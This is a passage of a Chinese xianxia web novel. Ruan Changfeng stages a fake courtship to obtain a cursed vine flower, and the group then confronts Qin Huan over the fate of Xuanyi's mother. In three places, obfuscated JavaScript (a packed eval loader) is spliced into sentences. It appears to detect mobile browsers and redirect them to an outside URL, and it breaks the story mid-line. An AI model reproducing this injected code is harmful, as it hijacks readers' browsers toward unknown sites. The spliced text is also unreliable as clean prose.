“华烟,你太久不出山不知道现在门派中势力波谲云诡。我们也是偶然从楼家人那儿听来的,缠心藤起初就是楼家那位少家主楼文交出来的。” 韩倩点点头,补充道:“凭手段凭修为,楼文都不是楼家最突出的,偏偏因为他给出了缠心藤的树种,他才能稳坐少家主之位。” 闲话少叙,韩倩和韦成玉又听见门外阮长风高呼的一句“华烟我爱你”,两人满脸黑线,各自揽着顾元香的肩宽慰道:“不怕,我们陪你一起去。” 韩倩想起她这几天惨淡的睡眠状况,眼里的怒火喷薄欲发,当即收拾好了自个儿的武器,拉着顾元香起身。 “你放心!张通天要是敢掏出藤花来接近你,师姐一剑攮死他!!” 顾元香哑然失笑,外头阮长风仍然侧卧在草地上大声求爱。他连续嚎了两三天,也是颇觉无趣。 阮长风抖着腿托着腮,百无聊赖地从面前连根拔起一株小草,又高声喊一句:“烟儿,我好爱你啊~~” 话音未落,一剑寒光大放,刺在他拔草的位置,距离他胸膛也就半尺。 ……谁来要他命了? 阮长风立刻抖落抖落衣衫上的尘土草屑,对迎面走来的三人捧出一个谄媚的笑脸。 他照旧捧着求爱的花束迎上去,不等靠近顾元香半步,就被韦成玉拿剑抵住了咽喉。 这下真要命了!! 阮长风连忙后退几步,笑容不减丝毫:“好嘛好嘛,烟儿不喜欢,我不靠近就是了。” 但话又说回来了,他都费尽心思地演了三天了,不能功亏一篑啊! 阮长风壮着胆子,咽了一口唾沫,试探道:“华烟,你相信师兄啊,师兄是真心爱重你的……” 顾元香自然知道戏已经做足了,接下来她只需要放肆羞辱阮长风就足够他自个儿把故事讲完。 有两位师姐护法,顾元香更加肆无忌惮,抱臂挑着眉漫不经心道:“你看你全身上下有哪一处与我相配?我芳龄二八,而你都快入土半截了。我貌美如花,你生的五大三粗与俊秀二字毫不搭边!” 她转了转眼珠,觉得光挑剔张通天杀伤力还不够大,不如拉踩一番。而华烟在回春派能够接触到的貌赛潘安各处完美的男子,应该就只有…… 嗯,陈观澜! “你看看你自己,哪点比得上陈观澜师兄啊?人家一表人才风流倜傥,生的俊美还修为高强!再者,人家可是世家子弟前途大好,比不得你,入道早还不是给陈家那个黄毛丫头当副手!”顾元香勾着唇,将刻薄恶毒贯彻到底,“你怎么好意思来骚扰我呢?你有哪一点,值得人爱的?” 阮长风当即配合她,心痛的涕泪横流就地倒下。 韦成玉见他如此,怒意一瞬凝结在脸上。 她们只是让“华烟”好好说清楚,也没让她口出狂言羞辱人家啊…… 顾元香高傲地昂着头,冷哼一声,连半点目光都没分给倒地痛哭的阮长风。 她回房间毫不留情地将门甩上,韦成玉和韩倩也只能各自叹了一口气,从怀中摸出一方手帕来抛给阮长风。 “张师兄……哎,节哀吧。” “师兄,虽然华烟说的不是假话,但输给陈观澜也没什么丢人的。” 阮长风:“……” 大事将成,阮长风又故意撕心裂肺地多哭了一会儿才起身,与树后藏了许久的柳伏意沈听寒玄易目光相接。 柳伏意向他点点头,又易容成别人的模样,将玄易和沈听寒实时记录的几十张八卦到处散发。 她轻功卓绝,脚程极快,一时之间写着张通天和华烟的爱恨纠葛的八卦信纸满天飞舞无人不知。 阮长风抽抽搭搭地走了一路,还没等他回到张通天的禅房,他大胆求爱被华烟肆意羞辱的过程就已经广传了整个门派。 同寝的师弟都等在门前准备嘲笑他,阮长风一扫几人幸灾乐祸的神情,干脆脚下一拐,跨进了黄家地界。 既然能够确定知道缠心藤位置的人一定有黄渊,那他就偏偏在黄渊房前哭诉,烦的他睡不着觉,除非他帮忙“拿下”华烟为止。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174836|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿照田大洪的说法,倒在黄渊房门口大声臭骂,骂天骂地骂华烟。 他说了不知道多少句下流话,说一句就觉得自己的人格又磨灭了几分。 “烟儿啊~~我真的真的好爱你~” “你怎么就能拜高踩低看不上我呢?” “啊!!烟儿~~我的华烟~~” 他鬼哭狼嚎个大半夜,黄家的弟子早就被他吵的怒不可遏,又顾忌着这人是陈家的大师兄,不好在黄家地盘出事,省的陈青黛借此发难让黄家吃亏。 众位弟子都举着法器恨不得活剐了他,但阮长风似乎已经习惯这种吃人的眼神。 顶着数不清的灼热目光,他照旧继续斥骂吼叫。 只要黄渊不现身,他就不会停。 约莫到后半夜,阮长风喉咙都要喊的干了,黄渊终于忍不了他,提着流星锤气势汹汹地从房中冲了出来。 阮长风平时动作总是慢半拍,到如今却是酒喝多了也能极其灵活地避开冲他命根子袭来的流星锤。 他冷不丁地落下一滴冷汗,这黄家人还跟寻常正经修士不出一路,专门整点上不来台面的阴招。 “你干嘛!你要让我断子绝孙啊!!”阮长风逮到机会,大步流星冲上去揪住黄渊的衣领,口中喷出的酒气浓烈呛人,就连黄渊这样的酒鬼都不由偏开了头。 黄渊捏着鼻子暗骂一句:“这白痴是喝了多少!!” 阮长风眼眉一垮耷拉下来,手上使劲一推,黄渊就往后一摔,流星锤砸在他自己脚面上,痛的他龇牙咧嘴的。 黄渊正欲怒骂,便见得阮长风背影孤独,不知何处突然拂来的风吹起他脸颊两侧略显潦草的长发。 同时吹来他的叹息。 “你拥有过倪黎了,怎么能懂我失去烟儿的心痛呢。” 阮长风装模作样地捂着自己的心口,黯然神伤地摇了摇头。 “比起拥有又失去,或许我从来没有得到过华烟才更加痛苦吧。” 他深吸一口气略微侧头,让他的眼泪能当着黄渊的面滴落而下,更显凄苦。 “你不懂爱,就不要阻止我为情神伤。” 黄渊是真觉得从没见过这么脑残的人,也顾不上拿流星锤来威胁他,毕竟张通天修为在他之上,他要跟张通天打架几乎毫无胜算。 黄渊叉着腰绕到他面前,由衷反问道:“你能不能滚回陈家去伤心?你在我房门口哭干鸡毛?!不知道的还以为是老子辜负你了!” 闻言,阮长风立刻摔在地上抱住他的腿,说话更加不着边际,硬是往二人关系不明不白,黄渊阻碍他求爱华烟这一道主题上靠。 黄渊气的目眦欲裂双目猩红,但无奈武力不足,只能搬出杀手锏来把这家伙的嘴巴缝上。 “你是想让我给你藤花,搞定华烟,是不是?” 阮长风立即不哭不闹,起身盯着黄渊考究的眼神,言辞十分恳切看不出半点虚情假意:“是,凭什么我看上一个人,掏心掏肺对她她置若罔闻,反而陈观澜就长的好看点就能获得姑娘的芳心?” 黄渊抱臂往后退了一步,歪头甩手吊儿郎当的。 “我凭什么要帮你啊?你要拿下华烟,与我何干?” 阮长风轻笑一声,话中悄无声息渡上一层杀意。他步步逼近,凶恶的眼神将黄渊挺直的脊背都不由吓弯了些许。 两人你退我进,距离却在不断缩短。 “那田大洪拿不拿的下叶锦又与你何干?你宁愿告诉那肥猪也不愿告诉我么?”阮长风抬手捏住黄渊的肩膀,将他纸片般单薄的身躯拧的一软,“黄渊,我憎恶陈观澜,不就是在恨陈家吗?” 他几乎与黄渊称得上是耳鬓厮磨,最后几句话一点一滴地磨着黄渊的神智。 “你难道不想争个少家主之位?” “我帮你里应外合干掉陈青黛,就此抹杀陈家,有什么不好?” “一朵藤花,一个华烟,换你大好的前程,你不想要?” 49. 缠心藤(九) 阮长风的话毋庸置疑地撬开了黄渊的内心,他收敛起吊儿郎当的神色,只眼眉一凛,四面八方围观着的黄家弟子就如潮水般退去。 各归其位。 夜风静谧,古木浮尘,古朴清幽的气息弥漫在阮长风鼻间。 从人头攒动,到空无他人,只不过是黄渊一个眼神。 阮长风顿时脊背发凉,跟在黄渊身后的脚步也显得虚浮蹒跚。 他受到宗门大比的影响,从来都只是把黄渊作为一个新入道的弟子,而不是把他当做一个在回春派,一言一行足以掀起滔天巨浪的世家掌舵人。 他就这么跟黄渊走去找缠心藤,真的没事吗? 思忖之间,黄渊已经带他走了片刻。他们行过的路径并不隐蔽,道路两旁以夜明珠为灯饰,面前溪水潺潺层林掩映,石桥垂柳,优美雅致如同精心绘制的古画。 而回春派三家各有偏好,最爱豪奢装潢,又一惯喜欢仿古野趣的,便只有楼家了。 阮长风拧着眉,一言不发地跟在黄渊身后,听他讲些有的没的,如何算计陈青黛的大计。 跨过石桥后又行了约莫半个时辰,黄渊终是在一处较为荒僻的院落之前停下。 他打了个响指,四周晦暗的宫灯便一盏盏亮起,明如繁星,华美至极。 待阮长风看清这院落的全貌,他惊惧的神色近乎藏不住,原本就惴惴不安的内心更加紧张,浑身血液都仿佛在这一刻冲冠而上。 黄渊适时回过头来,见阮长风嘴唇惨白,没好气地调笑他一句,道:“你没见过楼家古宅么?” 阮长风连忙将急促的呼吸和心跳都平复下来,干笑几声附和黄渊,以免让他察觉出什么不对劲。 “我是陈家的人没错,但又不是陈青黛,哪来的机会进楼家古宅。” 阮长风吐槽几句,跟着黄渊七拐八拐,走进他毫无印象的一处院子。 此处倒是与玄易问心阵中的场景没有半分的重合,大概玄易本人也对楼家古宅这处废弃院落没有丝毫印象。 阮长风抬头,打量着这座小院的提名。 清风阁。 清风阁内并不凋敝,一株硕大无朋的玉兰花点缀枝头如白雀欲飞,夜风阵阵,送来禅房窗前金桂的芬芳。 玉兰与金桂,寓意金玉满堂,兰桂齐芳。 这清风阁内涵极佳,断然是不会随意拨给楼家某个不受宠的人居住的。 黄渊停在那株壮硕的玉兰树前,转了转拇指上的白玉扳指,小指一勾,道:“这就是那株神木。” 神木? 阮长风倒是没听说过除了缠心藤外还有什么玉兰花的事,他借着满院夜明珠的华光仔细端详。 玉兰树与白藤枝杈交缠合而为一,细小洁白的藤花与昂扬的玉兰花纠葛在一起,大大小小,莹润清丽。 若不是黄渊指明了,阮长风哪怕从这树下经过,也不会注意到这株百年玉兰树上缠绕的普通白藤。 阮长风点头,往前跨上一步,抬头欲将藤花扯下来。黄渊嫌弃地扫了他一眼,伸手拽着他的脖领子将他拉了回来。 “你们陈家的人怎么一点脑子都不长?”黄渊往后退了几步,对阮长风解释说,“没有你的血供奉神木,神木所生之花怎么会确认宿主应当为你服务呢?” 采花之前还得血祭? 阮长风不知道黄渊是否在框他,但事已至此,箭在弦上,不得不发。 阮长风从袖中抽出匕首,割破手掌,几滴鲜血滴入玉兰树下的土壤。 只一刹那,满树碧绿灵光闪烁,他的血液自下而上游走过整棵垂坠的白藤。 受了他的血气,缠绕着玉兰树的白藤好似活了过来,每一根藤蔓都倏然抬起了头,凑至阮长风面前端详他。 藤蔓活了过来,就不再像藤蔓。反而更像是一种巨大又灵敏的长虫。 阮长风盯着距离他瞳孔大约一尺距离的藤枝,胃里止不住的翻涌。 藤枝愈发靠近了,他便也察觉长虫也不足以形容这恶心玩意儿。藤枝缠绕着他的肩膀,轻轻柔柔地搭在他胸前。 阮长风低头去看,这藤枝更像是女子的手臂,带着人体不冷不烫的温度,摆在眼前,都能看清藤蔓上属于人的肌肤纹路。 “这该死的黄家不会拿人体为容器养的藤吧?!”阮长风吞了口唾沫,四肢早已僵硬无比。 他顶着黄渊的审视,从胸前藤枝上取下来一朵藤花。 黄渊对此已经习惯,脸上除了不耐没有其他神色,见他取完了花,便连忙招呼他走。 “这儿住了人,她不喜欢外人打扰,更不喜欢有人采花。”黄渊话音一拐,眸光更深,粗眉细眼之中竟显出几分危险的妖媚。 阮长风点点头,既然黄渊敢带他来,就一定不怕他走漏风声。搞不好这取花之前的血祭就是给他黄家的投名状,一旦违拗,死无全尸的那种! 清水阁院中陈设很是讲究,假山池塘,摇椅观花,那株玉兰树后便是供人居住的禅房。 黄渊正领着阮长风离开,二人一前一后跨过清水阁的拱门,未及走远,背后的禅房木门便猝不及防地打开了。 阮长风骨头一怵,良久都没想好要不要回头。 “你答应过我田大洪是最后一个。” “黄渊,你食言了。” 女子凉薄阴冷的声音越靠越近,阮长风没有回头,他一丝不苟地观察着对面黄渊的神色。 黄渊见到她,并不欢喜,也算不上厌恶。他脸上带着一种微妙的同情,稍稍抬了抬眉,将阮长风的身体转向那女子,笑道:“帮帮忙而已,他可是真心喜欢那姑娘的。” 看清面前女子的样貌,阮长风一惯得体的假笑都顷刻间灰飞烟灭。 黄渊皱了皱眉,不动声色地拧了一把阮长风的胳膊:“你认识她?” “不认识,只是……”阮长风眼神游离片刻,找了个略显荒唐的说辞,“她挺漂亮的。” 黄渊闻言瘪了瘪嘴,气性上来了一脚踹在他屁股上,将阮长风踹出了清风阁。 一直等到黄渊和那女子叙旧结束,他才带着阮长风绕出楼家古宅。 阮长风始终捧着那朵新鲜滴露的藤花,他心思千回百转,早已飞回了栖山阁,连黄渊嘱咐他如何使用都没听清。 “张通天,合作愉快。”黄渊停在黄家与陈家地界交叉之处,郑重同阮长风告别。 阮长风面上看不出任何异样,微笑着颔首致意。 只待黄渊一转身回屋,他扭头跑的比谁都快。 栖山阁中已是傍晚,阁中另有人居不方便外人知晓,自然他们剩下的四人也不燃灯,只点了几根红烛以此照明。 阮长风气喘吁吁地闯进来,见柳伏意正摸黑练着剑。她经过这三日的调理,身体似乎已经大好,每个动作都能恢复到从前一板一眼绝不出错的程度。 顾元香嚼着从韦成玉那儿顺来的果脯,同玄易坐在一道看伏意舞剑,时不时地闻闻沈听寒配的药,怎么看都是惬意悠然的。 就他出去一遭吓得魂都快没了! 阮长风憋着火气,使劲冲四人招了招手,他们便放下手头的事儿,都跟着阮长风去他屋里坐着。 “缠心藤就在楼家古宅,而且……我在那儿见到了秦欢。” 阮长风将他的所见所闻悉数告知同伴,一边品着凉茶,一边有意无意地打量着玄易的脸色。 于玄易而言,秦欢是折磨他身心数十年的厉鬼,楼家古宅也是他几次不愿意踏足的故地。 柳伏意见他眉头紧锁,平时的和善、狡黠,都在此刻被击碎。 “不如你就不要去了吧?我们解决完缠心藤,把秦欢带到你面前来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202041|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾元香点点头,连她都不忍心看和尚这个失魂落魄的样子了。 哪怕问心阵解了,心魔散了,但人要是突然回到那个切切实实的噩梦中,还是会吓得寝食难安吧? 何必给自己找这样的不痛快。 沈听寒始终不言不语,只等着玄易发话。他不觉得玄易心智至强能够独自稳定数十年的杀心,却承受不住与仇人再见一面。 这之中,一定有他们不知道的隐情。 半晌过后,玄易才好像缓慢地从痛苦的回忆里缓过来。他抬眸,目光凄切,破碎的拼都拼不回来。 “清水阁,是我娘生前的居所。” 四人瞬间钳口桥舌,静默无声。 玄易红着眼眶,反复咀嚼着阮长风描述的那株白藤的样子。 “我一直以为我娘是生我难产而死的,如果她是被楼家拿去养缠心藤了……” 我该怎么办? 我怎么能甘心。 后面的话,玄易说不出口。 他只见到过画像上的叶文暄,她美丽,优雅,比他见过的任何一尊菩萨像都要圣洁。 他不敢想象这样美好的叶文暄,会被拿去供缠心藤寄生。 玄易捂住双眼,清浅的泪就从指缝中溢出。 他深吸一口气,说的无比决绝:“若果真如此,我会杀光楼家。” “我要拿他们的血,为我娘风光大葬。” 柳伏意张了张口,无法高高在上地讲出那句“楼家总有无辜的人”。她的目光落在尚且有两条裂缝的天命剑上,静心呼唤,仍然听不到天命的回应。 天命不在,天道也无法窥伺、无法插手她的所作所为吧。 所以她可以义愤填膺,为玄易一起叫屈,冷眼旁观他屠尽楼家么? 杀人偿命,不就是天经地义。 她思绪太深,阮长风一把按住她的胳膊,强迫她回神。 他脸色一黑不由分说地将伏意拉到隔壁房间,门一摔将顾元香和沈听寒都关在门外,表情比刚才更加难看。 “伏意,世间万物,莫非因果。楼家害了叶文喧,玄易为母复仇,就是一个因果,玄易枉杀旁人,伏诛就死,是另一层因果。”他不容柳伏意反驳,紧接着道,“你绝对不能为了他徇私或者动摇,否则你的无情道就完了。你明白吗!?” “可我觉得,玄易也称不上有错。” “是吗?我当年也不觉得我妹妹有错,但偏心就是偏心!你骗得了自己也骗不了天!” 阮长风捞起袖子,将手腕处的伤疤亮给她看,他把自己的隐痛揭开,时过百年,那处伤疤在他心中仍然是一片鲜血淋漓。 但凡谈起,就痛的扯骨连筋。 “你想变得和我一样吗?”阮长风的语调悄无声息地染上一抹痛彻心扉的伤怀。 天之骄子,泯然众人,从万中无一的天才变成一个资质平庸的蠢货,有多痛苦,没人会比他更清楚。 他从来就不想做什么流浪人间的潇洒人士,明明自己疯癫,还只能逞强笑话他人愚昧迂腐。 他这流浪的数十年并非不想重归剑道,只是剑道的高位太遥远,他再也没机会爬上去了。因为做不到,才说自己不想要,来维持那点身为大师兄的可怜的自尊心。 “心生偏向,无情道毁,灵脉尽废,再也拿不起剑。灵力枯竭近乎于无,从此成为一个只能倒腾旁门左道的废物。”他默念着,寥寥几言概括了他急转直下的前半生。 这些话早就在他的脑海里过了无数遍了,他也悔了无数遍。 阮长风摇了摇头,眉头蹙成一个无奈又难过的八字,望着柳伏意略显稚嫩的面容,喃喃自语道:“现在的你,就是曾经的我。” “伏意,师父叫我回来只有一件事,就是盯着你,不要让你成为第二个阮长风。” 50. 缠心藤(十) 沈听寒与顾元香光明正大地守在门口听着,但其实阮长风的声音足以让隔壁的玄易都听得一清二楚。 顾元香想起那天在药师堂喝酒,令阮长风屡次缄口的“那个人”,大约就是他妹妹了。 “你和他认识这么久了,不知道他跟他妹妹发生过什么吗?”顾元香注意到沈听寒深邃无波的眉眼,小声问道。 沈听寒摇摇头,毕竟初见阮长风便是他形容枯槁,一心求死。 他从来都不知道,阮长风竟是为了他妹妹碎道的。 “算了,既然他不想说,我们还是不问比较好。”顾元香语毕,和沈听寒一起拐回隔壁屋守着玄易。 他依旧无言,但似乎杀意已经没有刚才那样旺盛。 “你怎么了?”顾元香坐在他对面,托着双腮,不清楚为什么一瞬间他们的氛围就又变得紧张起来。 玄易听着隔壁阮长风训斥柳伏意的声音,呼吸都有颤声。 “我杀爽了,给我娘报仇了,师姐又怎么办。”他抠着自己的手指,目光落在榻上那把孤孤单单的天命剑上。 有些事情,从来就不是柳伏意一个人可以决定的。她背负了很多旁人没有的责任,这也就注定了她不能随心所欲,她的一言一行,都在天理和戒律的框架之中。 如果玄易真的这么干了,柳伏意要么包庇他碎道变成废人,要么亲手杀了他,从此午夜梦回不得安枕。 “我不能叫她这么为难。”玄易双手抱着头,“楼家……” 他气到极致竟也是提唇冷笑出了声。 “我不可能让楼家一连毁掉两个我在意的人。” 顾元香眨着眼睛转到沈听寒面前端详了一下他的表情,为玄易补充说:“我们对他来说都很重要啦~” 沈听寒笑容淡然,温润如玉:“我没问。” 玄易望着沈听寒敞亮的笑容,心知他想法并不多加解释。他深吐出一口气给二人递了个眼神,说:“我决定了,我要先去见秦欢。如果楼黄两家还有什么隐情,或许能从她嘴里知道点实话。” 既然玄易有了想法,那他们终归需要听从他的本心。 沈听寒冲他点点头,顾元香回到她和柳伏意的房间将二人的包裹背上,已经做好随他出发的准备。 隔壁屋内两人也冷静下来,偏向不偏向的,总得等玄易把一切真相探明再来纠结。 柳伏意抬眸望了一眼阮长风的神色,便知他是真心实意的劝说,当下也只能收敛了性子,认认真真地朝他俯首。 “大师兄放心,我有分寸的。” 下一瞬,沈听寒的叩门声响起,三言两语将外面的情况说清。 玄易要去找秦欢对峙,而今夜也是他们趁所有人不备捣毁缠心藤的绝佳时机。 五人各怀心事地上了路,不多时,他们站在楼家古宅前,其余四双眼睛明里暗里都落在玄易身上。 和尚有些小不自在。 “我念了这么多年经,真的能控制住自己的情绪……你们不用这么关注我吧?”他无奈道。 柳伏意抿了抿唇,她居于殿后的位置,楼家古宅的陈设与他们在问心阵中见到的大差不差。 黄渊带阮长风去的是后门,拐去清风阁时可略微窥见前院全貌。假山流水富丽堂皇,说不尽的潇洒蕴藉。 楼家富可敌国当真不是假话。 他们停在清风阁前,此时夜已深了,夜明珠在月光的照耀下闪着莹莹烁烁的光芒,足以照亮他们脚下石径。 柳伏意本想直接一剑砍了缠心藤,抬手的瞬间就被玄易拦了一把:“你缠心藤的毒还没解,等我们进去问过秦欢再毁也不迟。” 禅房内的陈设与别处大相径庭,积色腐朽的摆设看上去有些年头,没有任何金银器具,清一色的古朴简约,倒与死气沉沉的栖山阁相似。推门而入看见的便是两座牌位,像极了普通人家的祠堂。 多行数十步,才是秦欢日常起居的侧房。 玄易低头看去,牌位上的名字,一为他父亲楼广,二为她母亲叶文暄。 秦欢闻声而出,她手持着一盏夜明珠制的灯笼,脚步又轻,玄易沉浸在自己的思绪里一时半刻竟也没注意到她。 柳伏意四人一时没有出言的立场,便自觉地退至一旁各守其位,而秦欢见到玄易,浓重的情绪重新被搅乱。她的胸腔猛地起伏,又在静默的夜色里渐归平息。 玄易从香案上拿出各三支香,跪服念诵经文,算作儿子再见父母的礼数。 阮长风在这期间已经在清风阁各处布好结界,确保屋内的谈话不会泄露。 “你有什么资格住在清风阁?你又以什么身份,祭拜我父母?”玄易红着眼眶,转身走向秦欢。 比起少年时的怯懦,如今他身形高大,肌肉健硕,眉眼一压杀气凛然,秦欢不得不退后几步。 她也不比玄易记忆中那样美貌,唇色极淡,眉眼静静地垂着,满头青丝缠了些许银发。从她这张白皙无暇的倦容上看不出半点疯狂残忍的底色,反而柔弱得让人想要保护。 秦欢淡然开口,饶是面上再怎样的平淡无惧,出口便是藏不住的怀念和失落。 “你怎么又回来了?”她提着眉梢,不等玄易回话,晶莹的泪花就蓄了一整个眼眶。 柳伏意等人在旁看着,他们都进入过玄易的问心阵,自然对秦欢都有个大致的印象。他们的目光在秦欢身上打圈,实在很难将面前这个楚楚可怜略见衰老的女子和那个歇斯底里虐待人的厉鬼联系在一起。 秦欢扫了他们一眼,转而对玄易道:“你有话要问我吧。” 她抱臂听着,照旧是世家千金那副高傲的姿态。 玄易开门见山道:“我要知道有关缠心藤的一切!院里那株神木,究竟是不是我母亲?” 提到叶文暄,秦欢故作坚强的伪装几乎被打破。 明明是她占了叶文暄的院子,抢了叶文暄的夫君,为何她会流露出这样……悲伤和不舍的表情呢? 秦欢无视几人考究的神色,似乎是陷入自己的回忆,再开口时已是藏不住的哭腔。 “我和你说个故事吧。”她柔和的目光落在玄易身上,像是透着他怀念着谁,“从前酆都不够太平,妖魔鬼怪层出不穷。” 有一个世家的千金,心比天高,自认为道法高强便不把前人的警告放在眼里。二十岁那年她躲过家里的眼线,隐姓埋名带着自己的法器下山。 她觉得她会拯救酆都生活在水深火热之中的百姓,她会改变家人的看法,接手家业。 可是她太高估自己了,于是这位千金大小姐被吊在山寨外,日晒雨淋,足足十数天。 她以为自己快要死的时候,有个人救了她。 秦欢眼中流淌着思念的水波,柔情化开了紧闭已久的真心。她望着玄易那张与故人相似的脸,心里有一块地方正在崩塌皲裂。 “他说他是回春派楼家的公子,路过此地,出手相救,不必挂怀。” 楼广就这样留在她心里,她本不想纠缠他非要报这救命之恩,但楼广几次与她相遇,让秦欢不免燃起了希望,觉得这是缘分使然。 于是她将楼广带回了秦家,秦家以顶礼款待这位大小姐的救命恩人。 他们同进同出,闯荡天下。 他说他爱她。 秦欢抽了一口气,听起来更像是唏嘘:“因为他说他爱我,想娶我过门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214530|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以我悖逆我父母的心思,与家中决裂,和楼广回了回春派。” 大小姐涉世未深,跟着心上人回到回春派之后才发现楼广已有妻室。 她对玄易抬抬眉,语气不由狠了几分:“是你爹先欺骗我的!!秦家我已回不去,整个酆都世家被我得罪了个遍!他说他喜欢我他只爱我一个,我才抛弃一切和他回来!结果是什么?????” “他已有妻室!!是你娘!他从没跟我说过你娘的存在!” 玄易从来不知父亲和秦欢之间竟是如此,一时理亏,愤怒的辞色略显平息。 秦欢吸了一口水烟袋,烟草味随着安息香的气味弥漫在整个正厅之中。 她勾着唇,望着无边的夜色回忆起她和楼广的过往。 “我名不正言不顺,只能住在侧院,遭人白眼。我早就想离开他了,离开回春派回去闯荡天下也没什么不好。”她怅然,如水的目光定在玄易身上,“可是他对我很好,衣食起居,亲历亲为。他还为我带来了家乡的水土,他说他会一直爱着我、护着我,他也怕我孤独。” 柳伏意和顾元香闻言互望一眼,眼底的怜惜都要溢出来。 信男人热恋时的鬼话,那是真完蛋了。 秦欢被楼广无微不至的呵护绊住脚步,她那时对楼广只剩下无限的依恋。 她离不开一个真心爱她的男人。 “所以……我娘就成了你的眼中钉?”玄易听罢心中已有自己的成算,眉眼间的硝烟退却,佛性和淡然显山露水。 秦欢想起叶文暄,同样没有憎恶。 “我原是恨她的,但你逃走不久后,我知道了真相。叶文暄或许是个比我更加可怜的人。” 秦欢与楼广感情甚笃,她也发现楼广对这个名位上的正妻毫不青眼,充其量也就是长辈们问起时才想起问一句近况。 在她几次撒娇卖乖之后,楼广便似乎是顺坡下驴,顺着她的意思,去找叶文暄谈和离。 “他不知道,我一直跟在他身后,偷听他们的谈话。”秦欢捏着水烟袋的长柄,表情愈加痛苦,“叶文暄说她理解楼广找到了一个真心喜欢的人,她愿意和离,让楼广明媒正娶迎我进门。她嘱咐楼广好好待我,和离一事她会配合。” 秦欢擦掉眼中滑落的泪珠,在她叙述中叶文暄的出现无疑是撕开了她坚强果毅的最后一块假面。 “所以叶文暄才会私藏陈三的画像,因为她本就要和离了,她可以名正言顺地和昔日的心上人在一起。” 那玄易是怎么回事呢? 秦欢往外递了个眼神,他们心下都有了猜测。 因为藤花。 “叶文暄送楼广离开清风阁时,她养的一株藤花恰巧盛放。楼广称赞那花洁白雅致,叶文暄便随手采下一朵赠给他。” “我原以为我可以和阿广终成眷属了,但没想到自那以后他再也不多看我一眼。他的心思全都放在叶文暄身上,他们说好的和离也再没提起过。反而他们有了你,朝夕相处感情渐浓,清风阁欢声笑语门庭若市……”她起身站在玄易面前,将自己的真心话剖白而出,“然后我就是成了个被抛弃的烂货,他人白眼,歧视讥讽,全都落在我身上。” 秦欢勾着唇,被安息香浸润而消弭的狠毒又逐渐显露:“凭什么啊?不是他楼广求着我我才跟他回来的吗?不是叶文暄主动答应的和离,让我做正妻的吗?凭什么他们出尔反尔,这一切代价都由我来承受?” 她几乎拧断水烟袋。 “我做错什么了?不是你爹先欺骗我的吗!!!” “你觉得我从前那样对你很过分吧?可在楼广和叶文暄琴瑟和鸣的时候,楼家人就是这样对待我的。” 51. 缠心藤(十一) 清水阁中檀香袅袅,鸦雀无声,无人能回应秦欢近乎泣血的质问。 柳伏意恍然有种直觉,缠心藤之初或许就是因这三人爱恨纠葛而产生的。 黄渊与倪黎的孽缘,根本算不上是追根溯源后的结果。 玄易默不作声,秦欢也不强求他的答复,自顾自站在二位故人的牌位之前,泣泪涟涟,喃喃自语:“我本来想折磨死你算了,后来又想,你长得和我的阿广太像了。我舍不得让他死第二次。” 秦欢望向玄易,转身坐在椅上点明一切:“你找到这里来,不就是想知道那株藤花的来历么?” 她歇了口气,精致姣好的面容略显无奈。 “楼家长辈厌恶叶文暄,认为她不守妇德勾三搭四,即便她为诞育你死了也不同意让她入祖茔,她便只能被贴身侍女草草埋在了清风阁。陈三为祭奠她,瞒着众人移植了一株他们亲手合种的玉兰树在她的坟头。” 院外玉兰花娇艳美丽,昂扬枝头,清高又纯洁。 夜风拂过,玉兰花瓣落了满地石径。 月光依稀,树影憧憧,清冷娴静。 “缠心藤的树种明面上是由楼文拿出来的,实际上它最初却是由黄渊发现的。他很聪明,凭借缠心藤的把柄控制住楼文,虽身在黄家,但话语权甚至延申到楼家内部。并且放出神木的传闻,事到如今,大部分弟子仍然以为黄家所称的神木是这株定情所用的玉兰树。”秦欢摇了摇头,语调凌然,“他处心积虑让所有人的目光聚集在树上,以此为缠心藤谋求生机罢了。” 顾元香听到此处没忍住上前一步,歪头问道:“你为什么不告诉别人缠心藤的事呢?这些年回春派因为藤花死的女弟子不在少数吧!?你从前不是也想做个行侠仗义的大侠吗?” 行侠仗义?匡扶天下?她么?? 秦欢闻言自嘲一笑,不等她回答,玄易已经把她的软肋讲明。 “她有孩子还在楼家。既然是三大世家的核心人物都默认的事情,她把缠心藤挑明了,只会惹来杀身之祸。” 也正是因为她的孩子尚且在楼家,黄渊才不得不顾忌秦欢,少取藤花。 玄易环顾四周,清水阁早就破旧了,一草一木都被悔恨愧疚浸入了味。 秦欢日夜守着此处,不过是对死人寄托那份说不出口的歉意。 玄易看着她低沉的眉眼,仔细辨别出她的几分苍老,恨不能从她脸上找到从前那样狠毒癫狂的神色。 